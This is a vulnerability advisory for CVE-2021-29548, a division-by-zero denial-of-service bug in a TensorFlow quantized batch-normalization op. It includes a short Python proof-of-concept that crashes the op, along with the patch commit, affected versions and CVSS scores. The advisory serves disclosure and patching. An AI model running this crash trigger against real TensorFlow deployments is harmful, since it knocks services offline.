CVE-2021-29548

LOW2.5EPSS 0.01%

Division by 0 in `QuantizedBatchNormWithGlobalNormalization`

Published: 5/21/2021Modified: 3/13/2026

Description

### Impact An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`: ```python import tensorflow as tf t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8) t_min = tf.constant(-10.0, dtype=tf.float32) t_max = tf.constant(-10.0, dtype=tf.float32) m = tf.constant([], shape=[0], dtype=tf.quint8) m_min = tf.constant(-10.0, dtype=tf.float32) m_max = tf.constant(-10.0, dtype=tf.float32) v = tf.constant([], shape=[0], dtype=tf.quint8) v_min = tf.constant(-10.0, dtype=tf.float32) v_max = tf.constant(-10.0, dtype=tf.float32) beta = tf.constant([], shape=[0], dtype=tf.quint8) beta_min = tf.constant(-10.0, dtype=tf.float32) beta_max = tf.constant(-10.0, dtype=tf.float32) gamma = tf.constant([], shape=[0], dtype=tf.quint8) gamma_min = tf.constant(-10.0, dtype=tf.float32) gamma_max = tf.constant(-10.0, dtype=tf.float32) tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc) does not validate all constraints specified in the [op's contract](https://www.tensorflow.org/api_docs/python/tf/raw_ops/QuantizedBatchNormWithGlobalNormalization). ### Patches We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team

Affected packages (7)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
osvCVSS 3.1LOW2.5CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

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